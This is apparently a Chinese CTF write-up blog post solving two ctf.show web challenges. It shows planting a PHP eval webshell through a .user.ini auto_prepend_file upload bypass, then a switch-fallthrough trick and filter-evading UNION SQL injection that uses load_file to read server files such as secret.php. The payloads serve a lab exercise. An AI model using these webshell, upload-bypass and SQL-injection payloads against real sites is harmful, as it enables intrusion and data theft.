web13

题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak

查看源码:

<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>

阅读源码,上传限制:

  1. 文件大小小于等于24
  2. 文件名长度小于等于9
  3. 后缀长度小于等于3
  4. 文件名和后缀名均不能存在php

可以将<?php eval($_POST['a']);写入1.txt文件,但是由于后缀问题服务器无法解析该php语句。

  1. 上传1.txt
  2. 上传.user.ini文件
  3. 菜刀连接

PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。

我们在.user.ini中输入auto_prepend_file =1.txt,这样在该目录下的所有文件都会包含1.txt的内容。

菜刀连接上之后发现没有权限,只能尝试在网页上访问。

<?php eval($_GET['a']);写入1.txt文件,上传。

使用payload:?a=print_r(glob('*'));

Array (
[0] => 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php
[1] => a.txt
[2] => index.php
[3] => upload.php
[4] => upload.php.bak
)

使用highlight查看文件。

?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

得到flag。

web14

<?php
include("secret.php"); if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
} highlight_file(__FILE__);

switch case语句中如果某一项没有break语句,就有可能出现非预期的结果。

这里构造payload:?c=3,就可以获得想要的结果:

@A@here_1s_your_f1ag.php@A@

第二个网页是一个查询页面,可能是sql注入。先查看源代码,发现提示:

<!--
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
-->

过滤了information_schema.tablesinformation_schema.columnslinestring 空格polygon

可以使用反引号绕过部分过滤:

information_schema.tables
information_schema.`tables`
这两句话等价

查询过程:

数据库名: ?query=-1/**/union/**/select/**/database()
OUTPUT: web
表名: ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
OUTPUT: content
列名: ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
OUTPUT: id,username,password
值: ?query=-1/**/union/**/select/**/concat_ws(0x24,id,username,password)/**/from/**/content/**/where/**/id=1
OUTPUT:
1$admin$flag is not here!
2$gtf1y$wow,you can really dance
3$Wow$tell you a secret,secret has a secret...

没有flag,通过第三条数据,猜测flag在secret.php中,使用load_file()读取本地文件:

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

获得信息:

<script>
alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')</script>

读取真实flag:

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

获得flag。

CTF_show平台 web题解 part3的更多相关文章

  1. CTF_show平台 web题解 part2

    web10 WITH ROLLUP 绕过 点击取消键弹出源码下载: 源码如下: <?php $flag=""; function replaceSpecialChar($st ...

  2. CTF_show平台 web题解 part1

    web3 题目描述: 方法一:RFI 使用url实现php远程文件包含 在服务器上构造1.txt <?php $a = "<?php eval(\$_POST['123'])?& ...

  3. ctfshow 1024杯 部分web题解

    ------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...

  4. 自制公众平台Web Api(微信)

    最近一段时间感觉没什么东西可以分享给大家,又由于手上项目比较赶,不太更新博客了,今天趁着生病闲下来的时间分享一些项目中的东西给大家. 公众平台 提起公众平台当下最流行的莫过于腾讯的微信了,当然还有易信 ...

  5. 开放平台-web实现人人网第三方登录

    应用场景     web应用通过人人网登录授权实现第三方登录.   操作步骤     1  注册成为人人网开放平台开发者         http://app.renren.com/developer ...

  6. 开放平台-web实现QQ第三方登录

    应用场景     web应用通过QQ登录授权实现第三方登录.   操作步骤     1  注册成为QQ互联平台开发者,http://connect.qq.com/     2  准备一个可访问的域名, ...

  7. 移动平台WEB前端开发技巧汇总

    原文 :http://uecss.com/mobile-platform-web-front-end-development-skills-summary.html 开发者们都知道在高端智能手机系统中 ...

  8. 移动平台WEB前端开发技巧

    1.首先我们来看看webkit内核中的一些私有的meta标签,这些meta标签在开发webapp时起到非常重要的作用 <meta content="width=device-width ...

  9. 移动平台WEB前端开发技巧汇总(转)

    最近我很关注移动前端的知识,但做为一个UI设计师和web前端工作人员没有这个工作环境接触,做为门外汉,网上系统的知识也了了,一直有种雾里看花的感觉,见到本文,我自己是奉为经典.所以我分享之后又专门打笔 ...

随机推荐

  1. 2020阿里最新出品的泰山版Java开发手册,告别垃圾代码

    说起华山,我就想起岳不群,不,令狐冲:说起泰山,我就想起司马迁,他的那句名言"人总有一死,或重于泰山,或轻于鸿毛",真的发人深省啊.这就意味着,阿里出品的泰山版 Java 开发手册 ...

  2. epic无法登陆怎么办【百分百解决】

    epic无法登陆怎么办(感谢吾爱破解吧www.52pjb.net)站长提供的文章教程以及解决思路,谢谢大佬,更详细的解决办法可以参考下他的网站解决的方法实例! epic登陆不上去怎么办?随着GTA5免 ...

  3. Linux中GitLab的部署

    1.版本控制介绍 ​ 版本控制最主要的功能就是追踪文件的变更.它将什么时候.什么人更改了文件的什么内容等信息忠实地了记录下来.每一次文件的改变,文件的版本号都将增加.除了记录版本变更外,版本控制的另一 ...

  4. Jmeter(十) - 从入门到精通 - JMeter逻辑控制器 - 中篇(详解教程)

    1.简介 Jmeter官网对逻辑控制器的解释是:“Logic Controllers determine the order in which Samplers are processed.”. 意思 ...

  5. UniRx精讲(二):独立的 Update &UniRx 的基本语法格式

    独立的 Update 在 UniRx 简介的时候,笔者讲了一种比较麻烦的情况:就是在 MonoBehaviour 的 Update 中掺杂了大量互相无关的逻辑,导致代码非常不容易阅读. 这种情况我们平 ...

  6. VScode快捷键集锦(持续更新)

    本文的快捷键是根据VScode for mac来的,Windows和Linux用户可能需要些许改动. 注释:cmd + /  注释当前选中的行,或者注释掉选中的行,再按一次反注释.还可以在按cmd + ...

  7. wget介绍和命令总结

    参考资料: https://www.cnblogs.com/ftl1012/p/9265699.html https://www.cnblogs.com/lsdb/p/7171779.html cur ...

  8. android中getWidth()和getMeasuredWidth()之间的区别

    先给出一个结论:getMeasuredWidth()获取的是view原始的大小,也就是这个view在XML文件中配置或者是代码中设置的大小.getWidth()获取的是这个view最终显示的大小,这个 ...

  9. Redis 数据结构 之 SDS

    SDS(simple dynamic string),简单动态字符串.s同时它被称为 Hacking String.hack 的地方就在 sds 保存了字符串的长度以及剩余空间.sds 的实现在 sd ...

  10. package.json 文件说明:

    package.json 文件属性说明: name - 包名. version - 包的版本号. description - 包的描述. homepage - 包的官网 url . author - ...